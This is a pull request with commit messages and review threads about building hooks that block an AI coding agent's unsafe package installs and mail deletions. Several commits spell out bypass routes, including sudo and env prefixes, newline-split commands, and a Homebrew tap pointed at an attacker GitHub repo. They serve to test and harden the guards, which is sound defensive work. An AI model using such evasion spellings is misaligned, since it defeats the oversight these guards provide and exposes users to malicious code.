feat(hooks): harness-bloat tranche 1 — blocking guards + tests (H1-H3, F1-F4) - #47
Conversation
Spec: specs/2026-07-26-reduce-harness-bloat.md, tranche 1 (H1-H3, F1-F4).
Hooks have zero standing token cost: they fire on events instead of sitting
in context. So this tranche reduces context by exactly 0 bytes on purpose.
Its job is to move the load-bearing prohibitions off prose and onto blockers
FIRST, so the later deletions (R3/R5/R6) do not weaken any guard.
H1 block_unsafe_install.py — new. Four hard supply-chain gates that were
prose-only in rules/supply-chain-security.md: third-party Homebrew taps,
arbitrary URL/git installs, --ignore-scripts=false, --no-quarantine.
H2 block_gws_delete.sh — branch on tool_name BEFORE the empty-command early
return. MCP calls carry no `command` field, so the old copy returned 0 on
every MCP delete: a blocking hook that silently permitted.
H3 the Gmail draft matcher named mcp__claude_ai_Gmail__gmail_create_draft,
a tool that does not exist. Verified against the live tool listing; the
real name is create_draft. Repointed by the applier.
F1 guard_existing_code.sh — nudge before a NEW source file, the "wrote a
fresh script instead of using the validated pipeline" substitution.
F2 nudge_synthetic_data.py — mock/random/lorem markers outside tests.
F3 nudge_hyperparam_provenance.py — bare hyperparameters with no config
provenance.
F4 nudge_number_provenance.py — Stop hook; numeric claims in a reply with no
tool call behind them. Emits systemMessage only, never `decision`, which
would force continuation and could loop.
A fail-open bug found and fixed during review, worth recording because it is
the exact class this tranche exists to remove. installer_of() stripped a
leading `sudo` / `VAR=value`, but Gate 1 read tokens[0] raw. So `brew tap
owner/repo` was blocked while `sudo brew tap owner/repo` and
`HOMEBREW_NO_AUTO_UPDATE=1 brew install owner/repo/tool` were permitted —
the cheapest possible evasion. The strip is now a shared strip_prefix()
helper used by every gate that keys on the command NAME (1 and 2); gates 3
and 4 scan all tokens and were never exposed.
The test suite had a matching blind spot: its "evasion" section carried sudo
and env-prefix cases, but only against Gate 2 — the gate that was already
protected. It read as coverage and was not. Each name-keyed gate now has its
own prefixed cases, plus negative cases so wrappers do not create FALSE
blocks (`sudo brew install ripgrep` must still be allowed).
wire_harness_hooks.py applies the settings.json changes rather than a merge:
the file is dual-written by Claude Code at runtime and symlinked live, so the
edit has to be computed against what is on disk at apply time. Dry-run by
default; refuses a degraded stub, an absent script, a non-executable script,
and a script that is PRESENT but predates the capability being wired. Every
one of those misconfigurations degrades to "silently permits", which is the
failure this tranche exists to remove.
Tests, 187 assertions, 0 failures:
test_block_unsafe_install.sh 51 (incl. 14 new prefix-evasion cases)
test_block_gws_delete.sh 45 (incl. MCP fixtures with no `command`)
test_substitution_guards.sh 36
test_block_email_send.sh 30 (pre-existing; covers the added lines)
test_wire_harness_hooks.py 25 (incl. a non-vacuity check: with
CAPABILITY_MARKERS emptied the stale
fixture must be ALLOWED, proving the
content check is what catches it)
Each hook has a test proving it BLOCKS, not merely that the suite passes.
Not yet active. The hooks take effect only after the scripts reach the main
checkout (~/.claude resolves there, not to a worktree) and
`python3 scripts/setup/wire_harness_hooks.py --apply` runs.
settings.json is deliberately NOT in this commit.
Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
…y proof Codex review of 8bccc16 found four P1 gates that silently PERMITTED the calls they were written to refuse. All four suites were green throughout. That is the finding: a passing suite was never evidence, so this commit adds the missing evidence alongside the fixes. The four fail-open paths: H1 block_unsafe_install.py - the wrapper-stripping skip table guessed flag arity. A boolean short flag and one that takes a value are token-identical, so any single table permits one of them. Fix: stop keying on tokens[0]; test every candidate command start. Also: the requirements-file flag accepts a URL as readily as a path and the URL is the payload, and a nested shell -c keeps its command as ONE shlex token, invisible to token-level gates. H2 block_gws_delete.sh - the help-flag exemption was checked against the whole command string, so a destructive verb in one shell segment was exempted by a help flag carried in another. Exemptions are now segment-scoped. Matching also moved off the raw string: bash collapses empty-string quoting inside a word, which no regex over the raw text ever matches. F1-F4 nudges - valid-but-non-dict JSON (a list, a bare string, null) parsed cleanly and then raised on .get(). For a PostToolUse or Stop hook that is not a silent no-op; the non-zero exit surfaces as a hook error on every tool call. They now degrade to silence. Email block_email_send.sh - the draft flag was matched as a substring, so a body value that merely mentions it exempted a live send. A flag is a position in argv, not a substring; after shlex.split the whole body is one token. Found in passing: test_block_email_send.sh resolved its hook through $HOME, which points at the main checkout - a worktree copy of the suite silently exercised the deployed hook rather than the one the commit changes. Now resolved as a sibling of the test. Evidence, not just a pass count. 33 assertions added (162 -> 195 across the four hook suites; 229 including test_wire_harness_hooks.py). Each was replayed against the pre-repair hooks reconstructed from 8bccc16, where 21 of them FAIL - 5 in H1, 4 in H2, 3 in email, 9 in the nudges. Those 21 are the proven witnesses. Honest scope of that claim: 3 of the new assertions already passed pre-repair. They are correct assertions but NOT regression witnesses, and are kept as such. The 4 must-not-false-block controls pass on the repaired hooks, confirming these are working gates rather than blanket blockers. Corrects the claim in 8bccc16 and PR #47 that each hook was 'proven to block'. That was unearned when written. It is now demonstrated. Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
A second adversarial review of 4f0341a found 15 more ways to reach a package install past the supply-chain gates, plus 2 official-source false-blocks. All 17 were confirmed empirically against the shipped hook before any code changed: 20 probes, 17 deviated from policy. This is the second time a fully green suite coexisted with live bypasses. The first repair added 21 regression witnesses, but those witnesses only covered the four paths the first review happened to name. Coverage of the defects a review NAMES is not coverage of the defect CLASS. So the four decision points are rewritten structurally, not patched: * Safe flags are no longer read from the whole token list. A wrapper receives a trailing flag as $0 and still executes its payload, so nested strings are extracted and checked BEFORE any exemption can apply, and an exemption only covers the segment carrying it. * Shell recognition covers option clusters, not one exact token. The clustered spellings execute their string identically. * The installer subcommand is searched for rather than read from args[0]: every installer accepts global options before it, and one of them puts a noun there. * Flag arity tables are per-installer. The same short flag is boolean for one installer and value-taking for another, so a single shared table skipped the very token that carries the package. Also: lexing now precedes operator splitting, so a quoted separator inside a URL is no longer treated as a shell operator; the npm git-spec forms that carry no URL scheme are recognised; the lifecycle-script gate covers the boolean-negation and environment spellings; and official homebrew taps and their formulae are allowed, since over-blocking a permitted source teaches the user to route around the hook. Non-vacuity proven, not assumed: running the new suite against the previous hook fails 22 assertions (19 permits that should block, 3 blocks that should permit). Against the repaired hook, 95 pass. Full suite: 263 assertions green (95 H1, 51 H2, 35 H3, 48 F1-F4, 34 applier). Still open and deliberately NOT changed here: block() exits unconditionally and never consults an approval marker, so an explicitly approved install stays blocked on retry. That contradicts the documented "overridable with approval" contract, but choosing between a one-shot marker file, an ask-decision, and revising the contract is a security-boundary decision for the user, not a bug fix. Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
Two fail-opens, one false denial, one memory blowup. Each is verified by a test that ALLOWs against the pre-repair hook and BLOCKs against this one -- the suite goes 95 -> 112 assertions, and 7 of the 17 new ones fail on the old hook. That non-vacuity check is the point: three earlier rounds here shipped a green suite over gates that were failing open, so a passing run proves nothing on its own. P1 -- newline was not a command separator. shlex treats \n as ordinary whitespace, so a multiline command lexed into ONE segment and the first line's --help exemption covered every line after it: `echo --help` + newline + `pip install <url>` skipped all four gates while bash ran both lines. Fixed in the lexer rather than after it, by moving \n and \r out of `whitespace` and into `punctuation_chars`, so a bare newline separates while a quoted or escaped one does not -- both properties from the same posix pass. The unbalanced-quote fallback splits per line too; without that, appending one stray quote reopened the same shadowing. P1 -- `brew tap <name> <remote>` fetches the code from <remote>, so the name says nothing about origin, and only positional[0] was matched against OFFICIAL_TAP_RE. `brew tap homebrew/core https://github.com/attacker/repo` was allowed. An explicit remote is now refused outright rather than validated: an anchored host regex would buy only `brew tap homebrew/core <official-url>`, which nobody types because brew already knows the official remote, at the cost of a new URL-parsing surface. P2 -- false denial. `-w` takes a VALUE for npm (--workspace) and is a BOOLEAN for pnpm (--workspace-root), so one shared node table had to either block `npm install -w packages/web lodash` or skip the token after pnpm's -w. Tables are now keyed on the concrete tool, with only genuinely family-wide flags shared. That split would have silently disabled every scheme-less git check (`npm install attacker/repo`), which keys on the family, so an explicit INSTALLER_FAMILY map carries it -- and there are now four regression tests, one per tool, that would catch it. P2 -- `tokens[i:]` allocated and retained a fresh list per token; an 8,000-token command cost ~259 MB per Bash call. Now passes an index. Pure representation change: identical positions examined, index 0 still unconditional. Deliberately NOT fixed, recorded in the code as a live decision: `echo pip install <url>` still blocks, because every suffix is a candidate command start. Narrowing to "real" command positions means modelling wrapper arity, which is the skip table candidate_starts() exists to avoid -- one wrong entry is a silent permit, and that is how three of the four fail-opens in the module docstring happened. Over-blocking a literal echo prints an approval path; a missed wrapper prints nothing. Also verified: value-taking flags added to the tables were read from npm's lib/utils/config/definitions.js and pnpm's CLI docs, never recalled, because the direction of error is asymmetric -- a missing value-flag can only over-block, while a boolean wrongly listed as value-taking skips the next token and fails open. Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
… bytes
Tranche 2 of specs/2026-07-26-reduce-harness-bloat.md. Tranche 1 added the
hooks; this removes the prose they replace, plus everything that was never
enforced by anything but a decision.
AC1 measured exactly as the spec defines it:
cat claude/CLAUDE.md claude/rules/*.md \
claude/output-styles/effortful-learning.md | wc -c
baseline 122,452 -> 33,175 (target <=34,225, under by 1,050)
The analysis that shaped this: hooks gate only 7,441 bytes of the 81,036-byte
overage -- 9%. The other 91% was never blocked by anything. So the bar applied
here, chosen by the user, is enforce-or-delete: if a hook or tool already
enforces it, the prose goes; if nothing enforces it and it is not a fact the
model could not derive, it goes too.
claude/CLAUDE.md 20,757 -> 5,884 (-72%)
claude/rules/*.md 94,504 -> 20,100 (-79%, 21 files -> 16)
output style (not cut) 7,191
Five rule files deleted rather than trimmed, each because its content has a
surviving home: effortful-learning.md (the active output style IS that
content -- spec R3 says so explicitly), package-managers.md and any2md.md
(folded into coding-conventions.md), communication-style.md (folded into
markdown-style.md), sendmessage-api.md (the tool errors with the requirement).
What survives is what a Claude 5 model cannot derive: environment gotchas that
only bite on this machine, hard safety constraints, and Yulong's actual
preferences. The sandbox failure table stays whole -- every row is a symptom
that looks like a different bug than it is.
Prohibitions whose violation is irreversible were exempted from the bar and
kept regardless of enforcement: rm -rf, destructive git, stash verification,
never committing secrets, never falling back to Write on an Edit race, never
git add -A in-sandbox, sys.path.insert. Verified individually after the trim,
not assumed.
supply-chain-security.md (6,238 -> 1,263) and gws-safety.md were trimmed only
where H1-H3 do NOT enforce, because those hooks are committed but not yet
applied -- so the prose is still the only guard. All four H1-mirrored
prohibitions were confirmed present in the trimmed file.
AC4 (zero duplicated definitions) verified by grep: factual verification,
jexp/Pueue caps, sandbox failures, Edit-race recovery and effortful-learning
are each now defined in exactly one file. sys.path.insert appears twice by
design -- AC4 permits the prohibition in the safety row plus the safe pattern
once in coding-conventions.md.
Not verified in situ: ~/.claude/rules/ resolves to the main checkout, so none
of this is live from a worktree and the spec's fresh-session spot-check cannot
run until the branch merges. The reduction is achieved in the branch, not
validated behaviorally.
Test suites unaffected and still green: 263 assertions
(95 H1, 51 H2, 35 H3, 48 F1-F4, 34 applier).
Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
…ique A concurrent write landed between my read and my edit of this suite, so two independent regression blocks for the SAME four review-3 findings were both committed in e9ae85e. The delegated block is strictly more thorough on every one of the four -- more separator spellings (bare CR, three lines, nested -c, both quote styles), boolean flags that must NOT be table-listed (npm --workspaces, --include-workspace-root, yarn -W), arity checked in both directions, and a peak-RSS assertion the other block had no equivalent of. So mine goes. Leaving both would have inflated the count without adding coverage, which is the exact failure this suite warns about in its own header: "a shared evasion section that only exercises one gate reads as coverage and is not". 158 -> 143 assertions, same four findings still covered. Two of the fifteen were NOT duplicated, so they are re-added in the sections they belong to rather than dropped: pnpm add -w lodash (allow) -- the allow direction of the per-tool table split. If pnpm ever inherits npm's table, -w eats "lodash" and the command passes with nothing left to check, i.e. for the wrong reason. Only an allow-assertion catches that. npm install ./local/path (allow) -- the other side of the scheme-less git heuristic. A relative path also contains a slash; loosening the check to "any token with a /" would break every local install. Both are forward-looking regression guards, not bypass witnesses: they pass against the pre-repair hook too, and are not counted toward the non-vacuity claim in e9ae85e. Suites: 311 assertions green (143 H1, 51 H2, 35 H3, 48 F1-F4, 34 applier). e9ae85e's message and PR #47 both quote 112 H1 / 280 total, measured before the concurrent write landed. 143 / 311 are the real figures. Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
claude/docs/ is on-demand, not auto-loaded, so none of this moves the AC1 byte target. It was still worth doing: the directory had accumulated docs nothing pointed at, and two pointers that resolved nowhere. - Remove five docs with zero inbound references after the a15970f rules trim: browser-automation, humanizer-patterns, plugin-configuration, plugin-maintenance, tool-installation. Verified no residual mentions anywhere under claude/ or in the repo CLAUDE.md. Recover any of them with: git show HEAD~1:claude/docs/<name>.md A local copy plus a REASON.txt also sits in archive/2026-07-27_docs-cleanup-r5/, which is gitignored by repo convention and so deliberately not tracked here. - llm-billing/SKILL.md pointed at /Users/yulong/.claude/agents/llm-billing.md — a macOS path on a Linux box, so the symlink was dangling outright. Repointed relative (../../agents/llm-billing.md) and confirmed it resolves. - ci-standards.md is a deliberate duplicate of the research-plugin copy (kept because always-loaded rules need a pointer target that is profile-independent; the canonical copy sits inside the research plugin, which is off in most sessions). Its previous header claimed byte-identity, which adding the header itself falsified. It now states the two intentional deltas and carries a drift command that strips exactly those two and diffs the rest. Ran it: empty output, exit 0.
The trim in a15970f left the auto-loaded tier smaller but not fresher. It still carried dated facts — issue numbers, tool maturity, version floors — that nothing re-checks, so they decay silently and get read as current. scripts/audit/stale-claims.sh checks 10 of them against live sources rather than restating them: greps the installed uv binary for UV_MALWARE_CHECK, reads ty PyPI Development Status, queries GitHub for #21342, compares the installed fzf against the 0.54 floor, checks tasksDirectory against the running Claude Code. Wired weekly via config.sh + deploy.sh, mirroring audit_dependencies.sh. Current run: 10 checks, 0 drifted. It exits 2 and says so if the report directory is unwritable. Without that it exited 0 having written nothing (every tee failed) — reproduced against a read-only path, which is exactly what a sandboxed or read-only $HOME cron run would have looked like: green, and meaningless. The claim fixes prefer removal over renumbering. Two are structural rather than dated: fable-second-opinion.md now leads with the principle (a second opinion should come from a different model family) and names Fable as the current instance, with an explicit condition to delete the rule if no such family is offered; multi-agent-coordination.md states the harness fact its practice depends on, and says to delete the rule if that stops holding. A claim that needs periodic updating does not belong in an auto-loaded file.
AGENTS.md instructed Codex to substitute, for any skill step calling for a subagent, an apology that subagents do not exist plus the work done inline. The multi_agent feature is enabled on this install, so that instruction made Codex report a false capability limit and silently do serial work where the skill asked for delegation. Points at the real capability and names the command to re-check it (codex features list) rather than restating a flag that can flip. Does not touch the CODEX-ONLY byte target. That trim needs the fence boundary settled first — there is one marker at line 11 and no closing marker in the file, so on a strict reading the fence covers everything below the header and nothing may be cut. The prepared trim is parked uncommitted at codex/AGENTS.r7-trim-draft.md pending that call.
Parked: the R7
|
gws-safety.md told the model to call MCP `gmail_create_draft` twice. No such tool: the server exposes `mcp__claude_ai_Gmail__create_draft`. Following the rule as written produced an error, so the draft-not-send guidance was unreachable by the path it named. wire_harness_hooks.py:44-46 already knows this — it migrates the same dead string in the PreToolUse matcher at apply time. The prose was the one copy nothing repaired. settings.json is deliberately left alone; the applier owns that migration. Also: line 3 claimed the PreToolUse hooks enforce these limits "regardless of whether this file is loaded". False today — the hooks are committed but not applied, so this file is currently the only guard. Now states the condition under which the claim becomes true. Net -22 bytes. AC1: 34,016 / 34,225 (209 headroom). Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
Three fixes from round-4 review, each a case of failure being indistinguishable from success. rules/gws-safety.md: 18e1436 replaced a true statement with a false one. It claimed the PreToolUse blockers enforce only after wire_harness_hooks.py --apply. They were wired years earlier (302ae66, 82a3007) and are live now. Verified against settings.json:530,537: both match the Bash gws path only. MCP calls are unguarded for deletion until --apply, and unguarded for drafting even after. The unconditional "never rely on a hook to catch you" is restored -- 18e1436 had weakened it into a conditional. docs/humanizer-patterns.md: restored. 6ee9fd7 deleted it claiming nothing referenced it; that grep was repo-scoped and missed a cross-repo consumer at ai-safety-plugins/plugins/writing/README.md:203,271. Swept all five deleted docs -- the other four are genuinely unreferenced and stay deleted. claude/docs/ is on-demand, so this costs zero AC1 bytes. scripts/audit/stale-claims.sh: three defects that all make a broken weekly audit report clean. - count_in() turned any rg failure into '0'. rg exits >=2 on real errors; collapsing that with exit 1 (no match) meant an unreadable binary read as a clean check. It now distinguishes them and the four call sites SKIP. check_fable_model mattered most: its DRIFT branch says to DELETE the rule, so a false negative advised deleting a valid one. - readlink -f and sort -V are GNU-only; the registry enables this audit on all platforms. Replaced with resolve_link() (realpath/readlink/python3) and a pure-bash ver_ge(). - cron/launchd hand it a minimal PATH, which selects /usr/bin/fzf 0.44.1 over the deployed 0.71.0 and cannot find uv. Prepends the deployed dirs. Non-vacuity, measured against the pre-fix script: under PATH=/usr/bin:/bin the old script reports 2 drifted claims (fzf below floor, uv SKIP); the new one reports 0. count_in on a missing path: old returns '0' exit 0, new fails and the caller SKIPs. Genuine no-match still returns '0'. Suites: 311 assertions green (143 H1, 51 H2, 35 H3, 48 F1-F4, 34 applier). Full audit: 11/11 OK, exit 0. shellcheck clean. ver_ge 9/9 under bash. AC1: 34,131 / 34,225 -- 94 bytes headroom (the honest line costs 115 more than the false one it replaced). Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
Round-5 Codex review, two real findings. 1. stale-claims.sh PATH block was backwards. Each directory is prepended, so iterating the list forward makes the LAST entry leftmost: actual precedence was /usr/local/bin > homebrew > cargo > mise > ~/.local/bin, the exact inverse of the stated intent. A stale /usr/local/bin/fzf would have outranked the mise shim and reproduced the false DRIFT the block was added to prevent. List is now ordered lowest-priority-first with a comment saying why, since reversing it silently inverts the semantics. Verified: audit 11/11 OK, exit 0, fzf still resolves to 0.71.0. 2. humanizer-patterns.md described its own integration as future work behind a --humanize flag. That shipped: the writing plugin exposes /review-draft --critics=humanizer, and humanize-draft/SKILL.md is marked DEPRECATED in favour of it. Correction to bec9b91's message: it says the GWS hooks were wired 'years earlier'. Measured, they were not -- 302ae66 and 82a3007 are both 2026-04-06, ~3.7 months before this branch. I asserted a quantity without checking, in the commit whose subject is that I replaced a true statement with a false one. The message cannot be amended without a force-push; corrected in the PR body. Also correcting bec9b91's stated reason for restoring humanizer-patterns.md. I claimed a cross-repo consumer referenced it. The plugin README says 'See: docs/humanizer-patterns.md' -- a plugin-relative path resolving to plugins/writing/docs/humanizer-patterns.md, which does not exist. The reference dangles at the plugin and restoring the dotfiles copy does not fix it. Nothing points at the global copy. The file is left in place (0 AC1 bytes) pending a disposition decision rather than reversed unilaterally. Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
The spec (line 335) names three passages whose exact wording is a stated contract and which are exempt from ANY reflow. AC11a is non-waivable and requires CLAUDE.md:77 present verbatim. Two of the three were reflowed: 1. CLAUDE.md:77 (R11 contract line) had been reworded to "Use existing validated code ... metrics. Ad-hoc only for dry runs." Restored to main's exact text: "Use existing code ... metrics; ad-hoc only for dry runs". AC11a names this line explicitly. 2. The bright-red-lines paragraph had been rewritten, dropping "of American citizens" (a specific bright line) and the IMPORTANT NOTE emphasis. Restored verbatim; the R4-added "ask rather than refuse silently / escalate" guidance is preserved as a following sentence, so both survive. Both restorations are byte-identical to main (verified by diff against main:claude/CLAUDE.md) and both REDUCE byte count, so AC1 is not in tension: 34,206 / 34,225 (19 bytes headroom, was 34,131 -> the earlier figure counted the reflowed text). The third exempt passage (safety-and-git.md's six inline sandbox patterns) is also reflowed and is NOT fixed here: restoring main's verbose rows costs ~1,100+ bytes against 19 bytes of headroom, a genuine AC1-vs-exemption conflict that needs a user decision. All six patterns are present inline, so the sandbox-troubleshooting.md:3 contract is substantively honored even though the wording changed. Baseline note: the correct baseline is main (merge-base d0aff7d), not the Codex review target 18e1436, which is an ancestor of HEAD and already mid-trim. Comparing against 18e1436 yields a false all-clear. Suites: 311 assertions green (35+51+143+48 hooks, 34 wire_harness_hooks). Claude-Session: https://claude.ai/code/session_01HuBmkQKHpFkwi8Yp9NmK2H
AC11a names four literal triggering actions and requires each hook be "proven by a test that performs the triggering action and asserts the nudge appears." The suite covered F2 with np.random.normal(0, 1, 100) -- the same class, but not the criterion's own wording. Verified all four literals fire and exit 0, then pinned the one that was only covered by a near-neighbour. 48 -> 49 assertions. Tests are not in the auto-loaded tier, so AC1 is unchanged at 34,206. Clause (a)'s remaining half -- "F1-F4 are merged" -- is still unmet: none of the four is wired in claude/settings.json. That cannot be fixed in this branch; see the merge gate at the top of PR #47.
AC10 targets codex/AGENTS.md <=3,700 bytes (from 6,969; live file is 7,036). The draft is 3,236 bytes and clears it, but R7 cannot land until the CODEX-ONLY fence question (decision 1 in PR #47) is settled -- landing it early risks cutting a divergence that only AGENTS.md carries. Committing it because it was untracked and would have died with the worktree. It is inert: nothing reads AGENTS.r7-trim-draft.md. Either promote it over AGENTS.md once decision 1 lands, or delete it.
yulonglin
left a comment
There was a problem hiding this comment.
- Never give time estimates — you operate at machine speed, so "days/weeks" is wrong. Never state a cost you haven't actually calculated. Naming complexity is fine; translating it into human-scale duration is not.
More like, never give time estimates without first estimating empirically. E.g., measuring warm start and iteration time for experiments. Coding speed can be pretty fast cos, yknow, coding agents
| # Deliberately ML/experiment-specific. `seed` is excluded: seed=42 is ubiquitous | ||
| # and its provenance genuinely does not matter. | ||
| HYPERPARAMS = ( | ||
| "learning_rate|lr|batch_size|micro_batch_size|n_epochs|num_epochs|epochs|" | ||
| "weight_decay|warmup_steps|warmup_ratio|max_steps|grad_accum|" | ||
| "gradient_accumulation_steps|temperature|top_p|top_k|max_tokens|" | ||
| "max_new_tokens|num_layers|n_layers|hidden_dim|hidden_size|n_heads|" | ||
| "num_heads|dropout|beta1|beta2|clip_grad|max_grad_norm|lora_rank|lora_alpha" | ||
| ) | ||
| ASSIGN_RE = re.compile( |
There was a problem hiding this comment.
we should also include stuff from LLM / AI safety evals too? number of seeds/epochs, number of trajectories/rollouts, the monitor/judge prompt used, etc.
There was a problem hiding this comment.
Done in 5ff3a6b. Added eval-run parameters to the nudge: n_seeds/num_seeds, n_rollouts, n_trajectories, n_trials, n_samples, max_turns, max_messages — plus inline judge/monitor/grader/scorer prompt literals (judge_prompt = "You are..." fires; judge_prompt = load_prompt(path) or cfg.judge_prompt stays silent, since those have provenance). seed itself stays excluded — its value is arbitrary, but the number of seeds/rollouts/trials sets statistical power, so those are covered. 7 new cases in test_substitution_guards.sh (56/56 green).
|
|
||
| class Config(BaseSettings): | ||
| api_key: str # reads API_KEY from env/.env automatically | ||
| `shellcheck` before committing; `# shellcheck shell=bash` at the top of zsh scripts. fzf pickers: `--bind 'space:toggle'` for multi-select; `--bind "load:pos(N)+select"` needs fzf 0.54+. |
There was a problem hiding this comment.
I wonder if this should be a hook instead?
There was a problem hiding this comment.
Implemented in 5ff3a6b: claude/hooks/nudge_lint.sh, PostToolUse on Write|Edit. Runs shellcheck on .sh and ruff on .py the moment the file is written — nudge-only (always exit 0, fail-open if the linter is missing), first 3 findings + total count, vendored paths skipped, 4s timeout per lint. Wired into wire_harness_hooks.py and covered by the new test_convention_nudges.sh (17 cases). The rule line stays as the commit-time source of truth; the hook closes the "forgot to run it" gap.
| | Lint + format | `ruff` | | ||
| | Type check | `ty` (beta as of 2026-07-27 — 0.0.x, diagnostics can change between releases) | |
There was a problem hiding this comment.
I wonder if ruff and ty should be hooks instead?
There was a problem hiding this comment.
ruff is now a hook (same nudge_lint.sh as the shellcheck thread — one hook, extension-dispatched). ty is deliberately excluded: it's still beta with unstable diagnostics, and a nudge that's frequently wrong trains us to ignore all nudges (the rust-skills-plugin lesson). Easy to add later — one line in the hook's case statement once ty stabilizes.
| # Context Management | ||
|
|
There was a problem hiding this comment.
there seems to be a few important things for context management that's now missing from here. we should spin up subagents for them particularly. I wonder if this is still an issue with current agents? also current models have larger context windows
There was a problem hiding this comment.
Fair — added an explicit delegation bullet in 5ff3a6b: multi-file comparison / broad exploration → spawn a subagent (Explore/efficient-explorer) and keep only findings in main context. The rule now covers: PDF bounding, the >500-line bar, 200-500 Grep-first, exploration delegation, and verbose-command backgrounding. What stayed out is what the harness now does natively (context summarization, Read's default limits) — larger windows raise the ceiling, but pollution still degrades long sessions, which is why the delegation guidance stays.
| @@ -1,33 +1,5 @@ | |||
| # Fable Second Opinion | |||
|
|
|||
| Fable 5 (`claude-fable-5`) is a distinct Claude model family from Sonnet/Opus. Use it via the `Agent` tool's `model: "fable"` parameter to get a genuinely independent second opinion — a different perspective from a different training lineage, not just another Sonnet/Opus call. | |||
There was a problem hiding this comment.
we should rename the file to be more general
and also, it's currently fable and codex-companion!
There was a problem hiding this comment.
Renamed to claude/rules/second-opinions.md in 5ff3a6b and generalized to both channels: Fable subagent (model: "fable") for judgment/architecture/research taste, codex-companion (adversarial-review / plan-review / task via Monitor) for concrete code-level critique. Kept the enforce-or-delete spirit with a self-expiry clause: if one channel's family disappears, drop that channel; if both do, delete the rule rather than rewording it. The stale-claims.sh audit check was updated to match (checks the Fable family exists, tells the maintainer to drop the channel — not rename the model).
| - Don't edit files another live agent has claimed without checking | ||
| - Don't hold claims across unrelated tasks — release and re-claim | ||
| - Don't use `$$` for claim IDs — use `$PPID` (stable across Bash invocations) | ||
| This practice is live because the harness auto-approves its file operations — `rg -q 'agent-claims' claude/hooks/auto_classify.py` (true as of 2026-07-27). If that regex is ever removed, every claim operation starts prompting, nobody will keep doing this, and the rule should be deleted rather than kept as aspiration. |
There was a problem hiding this comment.
idk, is it consistently used? is there evidence it's helpful (or not)?
There was a problem hiding this comment.
Not consistently used, and no evidence of a conflict it ever prevented: two repos with the dir, zero live claims, and every incident postmortem in the repo involves worktree or sandbox issues — none involves two same-tree agents clobbering a file. That made it pure ritual cost (~1.5KB auto-loaded + a claims check per session), so it's retired in 5ff3a6b rather than kept on faith.
| **Rule:** Treat every line of existing user code as intentional. If you need to remove something, say what and why before doing it. | ||
| ## Personal repos: action over ceremony | ||
|
|
||
| ## Tool Failure Alternatives (Instead of Getting Stuck) |
There was a problem hiding this comment.
are these replacements in hooks alr? probs should be?
There was a problem hiding this comment.
Partially, by design. Accounting of what's mechanically enforced vs. judgment:
Hook/harness-covered: Read-before-Edit/Write and exact-match Edit are native harness behavior now; F1 guard_existing_code.sh blocks stub/simplification substitution; F2-F4 cover synthetic data, hyperparam provenance, and number provenance; new this round, nudge_lint.sh (ruff/shellcheck) and nudge_md_hardwrap.py.
Not hookable: the remaining rows (ambiguity resolution, over-caution, response to pushback, generalize-the-correction) are judgment behaviors with no reliable tool-call signature — a hook can't detect "guessed the wrong interpretation". Those stay as rule text. If a specific one regresses repeatedly, /hookify can pin that concrete pattern.
|
|
||
| **Rule:** If you catch yourself estimating duration or cost, stop. Either calculate precisely or omit the estimate entirely. | ||
|
|
||
| ## Quality Gates (Instead of Under-Delivering) |
There was a problem hiding this comment.
should these be hooks or tests? or just our current spec file approach works?
There was a problem hiding this comment.
The spec-file approach is the right home for these. Quality gates are per-task acceptance criteria — "meets the stated length", "covered all X" — and a generic hook can't know what this task's requirements were. The one slice that is mechanically checkable regardless of task, number provenance in reports, already has F4's Stop-hook. So: specs carry the gates, hooks only enforce task-independent invariants. Tests don't fit either — these are properties of a response, not of code.
|
|
||
| For library/API documentation, in order: Context7 MCP → `gh api` for specific files → read the locally installed library → WebSearch last. | ||
|
|
||
| # --------------------------------------------------------------------- |
There was a problem hiding this comment.
call on codex, ask if any of the things are stale in AGENTS.md and what the most updated guidance is here
There was a problem hiding this comment.
Ran the Codex audit (codex-cli 0.144.5, checked against current July-2026 docs). Verdict: materially stale and overgrown, though not wholly wrong — most safety/editing/format guidance is now absorbed by Codex's built-in harness.
Concretely stale (line refs are current codex/AGENTS.md):
- :25 —
with_escalated_permissions=trueis no longer the argument; the current harness usessandbox_permissions: "require_escalated"+justification. Durable guidance should describe escalation semantically, not pin an internal tool field. - :3, :14 — unconditional "read global + project CLAUDE.md" bypasses Codex's native
AGENTS.mdlayering (CLAUDE.md is only a configured fallback, and only when noAGENTS*exists at that level). Official split: global comms defaults → global AGENTS.md, repo conventions → repo AGENTS.md, workflows → skills. - :74, :84, :96 — Superpowers paths wrong for this install; actual root is
codex/plugins/cache/claude-plugins-official/superpowers/6.2.0/skills. Subagents (multi_agent) are stable and on by default, so :79's "feature install" framing is dated. - :86 — personal skills do not override same-name plugin skills; they coexist (
finishing-a-development-branch+superpowers:finishing-a-development-branchboth exposed). - :52 — clickable file refs now need markdown-link syntax
[label](/abs/path:line), not barepath:line. - :62 — "large breaking changes encouraged on solo repos" is too broad; conflicts with current scope/authorization safeguards.
Still worth keeping: the runtime-state gitignore rule (:18), approval_policy = "on-request", repo shell conventions, the TodoWrite → update_plan adapter, no-uncalculated-estimates.
One live deployment bug the audit surfaced: ~/.codex/AGENTS.md resolves to the main checkout, whose line 79 still says subagents are unavailable — b63ed21 fixed it only in this branch, so every current Codex session gets the stale claim until this merges.
This feeds directly into decision 1 (the R7 trim): the parked AGENTS.r7-trim-draft.md should absorb these corrections rather than trimming the stale text verbatim. Happy to fold them in once you call the fence question.
| @@ -1,135 +1,25 @@ | |||
| # Refusal Alternatives & Friction Prevention | |||
There was a problem hiding this comment.
do we alr have hooks here? are they informative? seems like we might be potentially losing out on a lot of info if there aren't hooks or other measures replacing them, or models haven't gotten better
There was a problem hiding this comment.
